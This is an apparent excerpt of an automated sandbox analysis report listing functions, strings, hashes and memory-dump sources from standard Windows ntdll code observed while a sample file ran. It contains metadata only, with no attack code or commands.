                                                        • String ID: LdrpAllocateTls$TlsVector %p Index %d : %d bytes copied from %p to %p$minkernel\ntdll\ldrtls.c
                                                        • API String ID: 0-4274184382
                                                        • Opcode ID: 996229d02bde2e4fd1ff676d068d84e263570f6d78f34804ff585480929635c4
                                                        • Instruction ID: 0de9891d78a8b976d03b8bdd21cd43d3b01be9de99e8bf7ba7a88afacb883729
                                                        • Opcode Fuzzy Hash: 996229d02bde2e4fd1ff676d068d84e263570f6d78f34804ff585480929635c4
                                                        • Instruction Fuzzy Hash: 474166B5A01609EFEB15CFA8C940AEEBBF6FF98314F108159E405A7250EB35AC41DF94
                                                        Function 34725180 Relevance: 3.9, Strings: 3, Instructions: 114COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: Leaked Block 0x%p size 0x%p (stack %p depth %u)$HEAP: $HEAP[%wZ]:
                                                        • API String ID: 0-964947082
                                                        • Opcode ID: 8e9a7fad9cf94012945fa1075ccc19816b7511bdd3ac327397a270f9f8dde1f0
                                                        • Instruction ID: 136db41e2882614a4a8762eccba296448617978442550c49280327a2e872514b
                                                        • Opcode Fuzzy Hash: 8e9a7fad9cf94012945fa1075ccc19816b7511bdd3ac327397a270f9f8dde1f0
                                                        • Instruction Fuzzy Hash: BA419EB5601394EFEB50CF558A80AAA3BEAEB44394F40416EE901AF391CB34E845CF94
                                                        Function 346A33A0 Relevance: 3.9, Strings: 3, Instructions: 111COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • RtlCreateActivationContext, xrefs: 346E29F9
                                                        • Actx , xrefs: 346A33AC
                                                        • SXS: %s() passed the empty activation context data, xrefs: 346E29FE
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: Actx $RtlCreateActivationContext$SXS: %s() passed the empty activation context data
                                                        • API String ID: 0-859632880
                                                        • Opcode ID: 84c930f8015973bbdcb9f2733765968d49a65a69126b0d8e4817bf67dc3bc7e5
                                                        • Instruction ID: 5364d3cb0dab4f3a2fc54d396b9b3b27fe0eea7efa1d38463d18964fe2f3ad08
                                                        • Opcode Fuzzy Hash: 84c930f8015973bbdcb9f2733765968d49a65a69126b0d8e4817bf67dc3bc7e5
                                                        • Instruction Fuzzy Hash: C53144B2600705DFEB22CF98D894BAA77A5EB84720F414469FD059F286CB30EC85CB90
                                                        Function 346FB594 Relevance: 3.9, Strings: 3, Instructions: 107COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\, xrefs: 346FB632
                                                        • @, xrefs: 346FB670
                                                        • GlobalFlag, xrefs: 346FB68F
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @$GlobalFlag$\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
                                                        • API String ID: 0-4192008846
                                                        • Opcode ID: 9d20acc31f8eb94f70535a7cd88d740d1196936d11bce7b4fb34bc8c481e3b2d
                                                        • Instruction ID: 49cd967c51fe682befeb25f1a57137fc6f80ff6ef3793b89628e082fd346ab35
                                                        • Opcode Fuzzy Hash: 9d20acc31f8eb94f70535a7cd88d740d1196936d11bce7b4fb34bc8c481e3b2d
                                                        • Instruction Fuzzy Hash: B0315AB5E00209AFEB00DF95DC84EEEBBBCEF44744F40046DE605A7150D7359A04CBA4
                                                        Function 347113B9 Relevance: 3.9, Strings: 3, Instructions: 101COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @$OsBootstatPath$\REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Control
                                                        • API String ID: 0-1050206962
                                                        • Opcode ID: 911dccc7298a4c156561a570b8559a2457600279d47066d9f134462aa21f9774
                                                        • Instruction ID: 9847419c694861c5701adea3c22de2983aebf470609b71cc0f456275d77e9d4b
                                                        • Opcode Fuzzy Hash: 911dccc7298a4c156561a570b8559a2457600279d47066d9f134462aa21f9774
                                                        • Instruction Fuzzy Hash: 65318EB2D00219FFEB11DF95CC84EAEBBBDEB48A58F410465E904BB210D7349D448BE5
                                                        Function 346A1607 Relevance: 3.8, Strings: 3, Instructions: 98COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • minkernel\ntdll\ldrtls.c, xrefs: 346E1A51
                                                        • DLL "%wZ" has TLS information at %p, xrefs: 346E1A40
                                                        • LdrpInitializeTls, xrefs: 346E1A47
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: DLL "%wZ" has TLS information at %p$LdrpInitializeTls$minkernel\ntdll\ldrtls.c
                                                        • API String ID: 0-931879808
                                                        • Opcode ID: 010298c23e83d438934012c4909cd86d020ba9d07c1c0366d7c25dcb4a5e2ccf
                                                        • Instruction ID: 6e7483eb3153287ceae6920ed1b863e1bc255ed1398f6dc9fe350419bdd2e4f0
                                                        • Opcode Fuzzy Hash: 010298c23e83d438934012c4909cd86d020ba9d07c1c0366d7c25dcb4a5e2ccf
                                                        • Instruction Fuzzy Hash: 4731D1B1B00705EFF7108F48C985FEA77AEEB507A4F080159E500FB290EB74AD45AB94
                                                        Function 346674B0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 117timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: RtlValidateHeap
                                                        • API String ID: 3446177414-1797218451
                                                        • Opcode ID: c48b9b40d684b4adc9854d7e91781a6dae9106ee00752b16376b330c92c6d79f
                                                        • Instruction ID: b9cf3ff238932908cccb2f3e1b0853fc78703c53051632c898783e30c1876b7c
                                                        • Opcode Fuzzy Hash: c48b9b40d684b4adc9854d7e91781a6dae9106ee00752b16376b330c92c6d79f
                                                        • Instruction Fuzzy Hash: F0410276B00345DFEF02CF64C8907ADBBB2FF94215F048299D4525B281CB389D01DB96
                                                        Function 3471705E Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 112timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: kLsE
                                                        • API String ID: 3446177414-3058123920
                                                        • Opcode ID: 2c061b787e70f03ce8fbeae4cc37fb0c6e963cbf883c6dfe14cd53fc49f8ea0f
                                                        • Instruction ID: eaf9f19200b9a9c2b2eade950c8674bfc315f16c505570cc97ed9c80adf3d858
                                                        • Opcode Fuzzy Hash: 2c061b787e70f03ce8fbeae4cc37fb0c6e963cbf883c6dfe14cd53fc49f8ea0f
                                                        • Instruction Fuzzy Hash: 7641F3B1501351DBF7219F60C888BE53B97EB41764FA4065DEC50AE2E1CBA84886CBA9
                                                        Function 346852A0 Relevance: 3.2, Strings: 2, Instructions: 658COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @$@
                                                        • API String ID: 0-149943524
                                                        • Opcode ID: 37adbdf5b8465b9faa87807ec3f50074a67a5ec8f24ae430452eb74124e5efda
                                                        • Instruction ID: 9163b5f9db51c645955434a383f7c5bdda73cfafcb45ffd2d8eb97faf994aa46
                                                        • Opcode Fuzzy Hash: 37adbdf5b8465b9faa87807ec3f50074a67a5ec8f24ae430452eb74124e5efda
                                                        • Instruction Fuzzy Hash: 9832BEB86083118FE764CF14C4A076EB7E5EF99784F50492EF9859B2A0E734D984CB53
                                                        Function 34675702 Relevance: 3.1, APIs: 2, Instructions: 104timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID:
                                                        • API String ID: 3446177414-0
                                                        • Opcode ID: a7540bb5fc8e4ffcc470752886da8541c1a3dfef6519a7b4129639a35690e26a
                                                        • Instruction ID: aceacff75ee054f20ee2e399ad76310da03e201ccf177c9668ac93ddbeebe301
                                                        • Opcode Fuzzy Hash: a7540bb5fc8e4ffcc470752886da8541c1a3dfef6519a7b4129639a35690e26a
                                                        • Instruction Fuzzy Hash: 2D31BE35701B06EFEB858F64CA90A89FBAAFF48398F405065E90087E50DB70F821CBD5
                                                        Function 346A5CC0 Relevance: 2.7, Strings: 2, Instructions: 241COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @$TargetPath
                                                        • API String ID: 0-4164548946
                                                        • Opcode ID: 8a737a70cdd91cf67085734649a319f20367049c25a95574fbcfdfc4a82d34a6
                                                        • Instruction ID: 2fb74922b36b81e28281c82c63aa68b65b82f59e4998bb29537fe68c3556d970
                                                        • Opcode Fuzzy Hash: 8a737a70cdd91cf67085734649a319f20367049c25a95574fbcfdfc4a82d34a6
                                                        • Instruction Fuzzy Hash: DB810DB5905706EFEB10DF18C894A6BB7F8FB94758F41892EE8459B210D730DC89CB82
                                                        Function 346FBC10 Relevance: 2.7, Strings: 2, Instructions: 234COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: \REGISTRY\USER\$\Software\Microsoft\Windows
                                                        • API String ID: 0-4122831824
                                                        • Opcode ID: 4593b59964315ebee30d2c308e653ec36e79cd134ea64c06f0a1308deff6f1ea
                                                        • Instruction ID: e028a8a3591ca5bf36bc291e8e9288d7b19a898be684403fc8d33c290fee1b6b
                                                        • Opcode Fuzzy Hash: 4593b59964315ebee30d2c308e653ec36e79cd134ea64c06f0a1308deff6f1ea
                                                        • Instruction Fuzzy Hash: E191AEB5204701DFD710CF24C884BABB7E9FB88B64F100A2DE5A5C7290EB35D945CB56
                                                        Function 34667CD5 Relevance: 2.7, Strings: 2, Instructions: 160COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @[v4$@[v4@[v4
                                                        • API String ID: 0-1966832869
                                                        • Opcode ID: a67a3fbe17154402e1e69b059bbbd7097f11746ed8933589e87801cb46ef781d
                                                        • Instruction ID: f62966dd9220ce6f84504231366b32df7605b451b17b89bba70e8720a4725e8c
                                                        • Opcode Fuzzy Hash: a67a3fbe17154402e1e69b059bbbd7097f11746ed8933589e87801cb46ef781d
                                                        • Instruction Fuzzy Hash: C3519DB1105742EFE721CF25C840B2ABBE8FF50658F104D1EE49A9B250E739E845CBD6
                                                        Function 3468F720 Relevance: 2.7, Strings: 2, Instructions: 159COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: $$$
                                                        • API String ID: 3446177414-233714265
                                                        • Opcode ID: 6b6d2914f43009fb2f527b47e78364494945b9b28037a1937264f4e6c80a3045
                                                        • Instruction ID: edb68b4e3ef45ad4d580a35f125e19fb96f912fed329f42d8ffb7fc3eea93996
                                                        • Opcode Fuzzy Hash: 6b6d2914f43009fb2f527b47e78364494945b9b28037a1937264f4e6c80a3045
                                                        • Instruction Fuzzy Hash: 2D61DEB1E00749DFEB24CFA4C580B9DB7FAFF48308F104469D519AB680CB78A945CB95
                                                        Function 347035BA Relevance: 2.6, Strings: 2, Instructions: 99COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit
                                                        • API String ID: 0-118005554
                                                        • Opcode ID: 170cc1da3765b8d41a48babd47e99230f7792868a2ea7bbf4c953f5a3278d823
                                                        • Instruction ID: 15fd06e42cf7317bc6b2546c9f53fe5f3a3da7dd7ad39c3664a55fb17f5eec36
                                                        • Opcode Fuzzy Hash: 170cc1da3765b8d41a48babd47e99230f7792868a2ea7bbf4c953f5a3278d823
                                                        • Instruction Fuzzy Hash: 0631BA7520A7419FE301CF69D854B2AB3E9FF89750F00486EB884CB390EB71D805CB96
                                                        Function 346A329E Relevance: 2.6, Strings: 2, Instructions: 93COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: .Local\$@
                                                        • API String ID: 0-380025441
                                                        • Opcode ID: c4d4cf7445f3fc847353cc50c8da48f7086476c8beafc3e788f5f41bf57f6021
                                                        • Instruction ID: 4f9b08797c3cab8c6167d4639a1473f84cf8376c9bfffef385f07f1b642abe7e
                                                        • Opcode Fuzzy Hash: c4d4cf7445f3fc847353cc50c8da48f7086476c8beafc3e788f5f41bf57f6021
                                                        • Instruction Fuzzy Hash: C3319EF660CB44DFE311CF29C980A5BBBE8EBD5694F40092EF99483210DA31DD448B92
                                                        Function 346A34B0 Relevance: 2.6, Strings: 2, Instructions: 66COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • RtlpInitializeAssemblyStorageMap, xrefs: 346E2A90
                                                        • SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx, xrefs: 346E2A95
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: RtlpInitializeAssemblyStorageMap$SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx
                                                        • API String ID: 0-2653619699
                                                        • Opcode ID: 152644e8e1e8c26517d0e3a0d165b23d7d3e604dcd1b4338510844b25090ef76
                                                        • Instruction ID: bed236ac53a51f5df91ca0d32cfc8a78aa3bfcbd2fac34894a91b6f28ed35a0c
                                                        • Opcode Fuzzy Hash: 152644e8e1e8c26517d0e3a0d165b23d7d3e604dcd1b4338510844b25090ef76
                                                        • Instruction Fuzzy Hash: E31106B6B01304EBF7298E88CD45F6A76EEDB94B54F14806D7904EB240DA74CD4096A0
                                                        Function 3469B2C0 Relevance: 1.9, Strings: 1, Instructions: 629COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @[v4@[v4
                                                        • API String ID: 0-1201398778
                                                        • Opcode ID: e6d9e8fce1ca0a66b02817642c3bc7d2d980f00eab3f122e9384dc886d5032a6
                                                        • Instruction ID: 05bea5f4be094f631ffbc260665331901d487dc75b0b0653d209f3be7f193c8b
                                                        • Opcode Fuzzy Hash: e6d9e8fce1ca0a66b02817642c3bc7d2d980f00eab3f122e9384dc886d5032a6
                                                        • Instruction Fuzzy Hash: D1327AB5E00219DBDF14CFA8C890BEEBBB5FF94B54F14002DE805AB290E775A901CB91
                                                        Function 34671131 Relevance: 1.8, APIs: 1, Instructions: 259timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID:
                                                        • API String ID: 3446177414-0
                                                        • Opcode ID: 12eeba736247d36750766b0157c6e2aca194d80ea9eb7ebac922aab568707cc7
                                                        • Instruction ID: 0fb950d3977decbcba706add484cb09394c5f066c5ebd5eb96b23b000f7991f0
                                                        • Opcode Fuzzy Hash: 12eeba736247d36750766b0157c6e2aca194d80ea9eb7ebac922aab568707cc7
                                                        • Instruction Fuzzy Hash: C9B101B56083408FD354CF28C480A5ABBF5FF88304F548A6EE999DB352D731E985CB86
                                                        Function 34677370 Relevance: 1.7, APIs: 1, Instructions: 247COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 66b25004a63c6a69dc729ff63305eb821a645cad2a191f966ea17377394ae5fe
                                                        • Instruction ID: 0f9b292ddcfe8cc35911b631432651f12895d950b8a77833a7c0d4050c1db217
                                                        • Opcode Fuzzy Hash: 66b25004a63c6a69dc729ff63305eb821a645cad2a191f966ea17377394ae5fe
                                                        • Instruction Fuzzy Hash: 21A18A75608342CFE310CF28C480A1ABBE6FF98345F20492EE5859B354EB70F945CB96
                                                        Function 34677703 Relevance: 1.7, APIs: 1, Instructions: 179COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: c7f72a38275c2cec5417cdf93238e7d36bb23e78cd003efa135c6aebb8cb3a54
                                                        • Instruction ID: 690ee9bb13b82789b8ce5505fe12b5312a8acb1a78cf1df98c6dd3d16396dbb0
                                                        • Opcode Fuzzy Hash: c7f72a38275c2cec5417cdf93238e7d36bb23e78cd003efa135c6aebb8cb3a54
                                                        • Instruction Fuzzy Hash: 39613D75E00606EFEB08DFB8C480A9DFBB5FF98240F24826AD419A7350DB34A941CBD5
                                                        Function 346AF603 Relevance: 1.6, APIs: 1, Instructions: 121COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: d7c7f60be02f44cc4d14e48df8a0d26697985f7d8034cdd93e6c00aa81bd5a8a
                                                        • Instruction ID: 7cd93ca355aebfcd9ff0ace086091f933d565af89c579c2050b7da717ed92709
                                                        • Opcode Fuzzy Hash: d7c7f60be02f44cc4d14e48df8a0d26697985f7d8034cdd93e6c00aa81bd5a8a
                                                        • Instruction Fuzzy Hash: 3C4138B4900688EFDB14CFAAC880AEDBBF9FF48344F54416ED899A7211DB349901CF65
                                                        Function 3466B480 Relevance: 1.6, APIs: 1, Instructions: 100timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
